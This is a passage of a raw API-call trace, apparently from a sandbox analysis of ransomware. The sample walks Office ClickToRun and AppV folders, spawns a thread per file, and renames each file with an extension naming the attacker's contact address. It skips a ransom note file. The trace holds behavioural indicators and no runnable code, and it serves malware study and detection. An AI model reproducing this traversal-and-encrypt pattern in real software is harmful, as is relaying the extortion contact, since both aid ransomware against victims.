lpStartAddress=0x2c477a0, lpParameter=0x4f0bb20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8fc [0173.955] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01b5ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed01b5ef, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86008759, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xb28ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.shared.Office.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C2EB54~1.D0E")) returned 1 [0173.955] wcscmp (_String1="C2RManifest.shared.Office.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.955] wcscmp (_String1="C2RManifest.shared.Office.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.955] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x4f0bc60 [0173.955] wcscpy (in: _Dest=0x4f0bc60, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.955] wcscat (in: _Dest=0x4f0bc60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.955] wcscat (in: _Dest=0x4f0bc60, _Source="C2RManifest.shared.Office.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0173.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0bc60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f4 [0173.956] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a705a3, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a705a3, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x8602ebc1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2abfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C21A2F~1.D0E")) returned 1 [0173.956] wcscmp (_String1="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.956] wcscmp (_String1="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.956] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x4f0bdb0 [0173.956] wcscpy (in: _Dest=0x4f0bdb0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0173.956] wcscat (in: _Dest=0x4f0bdb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0173.956] wcscat (in: _Dest=0x4f0bdb0, _Source="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0173.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0bdb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d0 [0174.828] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a4a3b4, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a4a3b4, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x8607af87, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf0db4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.visiomui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C22034~1.D0E")) returned 1 [0174.828] wcscmp (_String1="C2RManifest.visiomui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.828] wcscmp (_String1="C2RManifest.visiomui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.828] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12c) returned 0x2fe2148 [0174.828] wcscpy (in: _Dest=0x2fe2148, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0174.828] wcscat (in: _Dest=0x2fe2148, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0174.828] wcscat (in: _Dest=0x2fe2148, _Source="C2RManifest.visiomui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0175.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2148, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840 [0175.631] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf5ca1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf5ca1c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x860a12e0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1542e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Word.Word.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C2D9F7~1.D0E")) returned 1 [0175.631] wcscmp (_String1="C2RManifest.Word.Word.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.631] wcscmp (_String1="C2RManifest.Word.Word.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.631] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x2f8f458 [0175.631] wcscpy (in: _Dest=0x2f8f458, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0175.631] wcscat (in: _Dest=0x2f8f458, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0175.631] wcscat (in: _Dest=0x2f8f458, _Source="C2RManifest.Word.Word.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0175.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8f458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4 [0175.632] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf3682d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x860ed627, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x131be, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.wordmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C25179~1.D0E")) returned 1 [0175.632] wcscmp (_String1="C2RManifest.wordmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.632] wcscmp (_String1="C2RManifest.wordmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.632] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12a) returned 0x2fe1650 [0175.632] wcscpy (in: _Dest=0x2fe1650, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0175.632] wcscat (in: _Dest=0x2fe1650, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0175.632] wcscat (in: _Dest=0x2fe1650, _Source="C2RManifest.wordmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0175.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c [0175.632] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85822b3a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x85822b3a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x85822b3a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0175.633] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0175.633] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0175.633] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x49bee514, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x8613e789, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x12c570, dwReserved0=0x0, dwReserved1=0x0, cFileName="integrator.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="INTEGR~1.D0E")) returned 1 [0175.633] wcscmp (_String1="integrator.exe.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.633] wcscmp (_String1="integrator.exe.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.633] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xfe) returned 0x2f6ce58 [0175.633] wcscpy (in: _Dest=0x2f6ce58, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0175.633] wcscat (in: _Dest=0x2f6ce58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0175.633] wcscat (in: _Dest=0x2f6ce58, _Source="integrator.exe.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe.mailto[kokoklock@cock.li].d0e731" [0175.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ce58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0 [0175.633] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f3481a2, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x3f3481a2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x8615fd37, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xda8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MICROS~1.D0E")) returned 1 [0175.634] wcscmp (_String1="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.634] wcscmp (_String1="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.634] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x2f8f5a0 [0175.634] wcscpy (in: _Dest=0x2f8f5a0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0175.634] wcscat (in: _Dest=0x2f8f5a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0175.634] wcscat (in: _Dest=0x2f8f5a0, _Source="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.mailto[kokoklock@cock.li].d0e731" [0175.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8f5a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x838 [0175.634] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f0e5bdc, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x3f0e5bdc, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x86185eb4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MICROS~2.D0E")) returned 1 [0175.634] wcscmp (_String1="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.634] wcscmp (_String1="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.634] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2fa0b10 [0175.634] wcscpy (in: _Dest=0x2fa0b10, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0175.635] wcscat (in: _Dest=0x2fa0b10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0175.635] wcscat (in: _Dest=0x2fa0b10, _Source="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml.mailto[kokoklock@cock.li].d0e731" [0175.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa0b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x834 [0175.635] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x433f4072, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x433f4072, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x861d24dd, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1b8e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoutilstat.etw.man.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MSOUTI~1.D0E")) returned 1 [0175.635] wcscmp (_String1="msoutilstat.etw.man.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.635] wcscmp (_String1="msoutilstat.etw.man.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.635] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x108) returned 0x305c490 [0175.635] wcscpy (in: _Dest=0x305c490, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0175.635] wcscat (in: _Dest=0x305c490, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0175.635] wcscat (in: _Dest=0x305c490, _Source="msoutilstat.etw.man.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man.mailto[kokoklock@cock.li].d0e731" [0175.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305c490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x830 [0175.636] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b4f7c0, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x42b4f7c0, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x861f8650, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9bedd, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordEtw.man.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="WORDET~1.D0E")) returned 1 [0175.636] wcscmp (_String1="wordEtw.man.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.636] wcscmp (_String1="wordEtw.man.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.636] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf8) returned 0x2f84e18 [0175.636] wcscpy (in: _Dest=0x2f84e18, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0175.636] wcscat (in: _Dest=0x2f84e18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0175.636] wcscat (in: _Dest=0x2f84e18, _Source="wordEtw.man.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man.mailto[kokoklock@cock.li].d0e731" [0175.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f84e18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x82c [0175.637] FindNextFileW (in: hFindFile=0x3045768, lpFindFileData=0x2f9cb40 | out: lpFindFileData=0x2f9cb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b4f7c0, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x42b4f7c0, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x861f8650, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9bedd, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordEtw.man.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="WORDET~1.D0E")) returned 0 [0175.637] FindClose (in: hFindFile=0x3045768 | out: hFindFile=0x3045768) returned 1 [0175.637] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9cb40) returned 1 [0175.642] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91df0) returned 1 [0175.642] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee4e0) returned 1 [0175.642] RtlExitUserThread (Status=0x0) Thread: id = 2198 os_tid = 0x1340 [0173.740] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x54) returned 0x2fa4660 [0173.740] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\All Users\\Microsoft\\AppV\\Setup" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV\\Setup") returned="C:\\Users\\All Users\\Microsoft\\AppV\\Setup" [0173.740] wcscat (in: _Dest=0x2fa4660, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV\\Setup\\") returned="C:\\Users\\All Users\\Microsoft\\AppV\\Setup\\" [0173.740] wcscat (in: _Dest=0x2fa4660, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV\\Setup\\*") returned="C:\\Users\\All Users\\Microsoft\\AppV\\Setup\\*" [0173.740] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9cda8 [0173.740] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\AppV\\Setup\\*", lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, 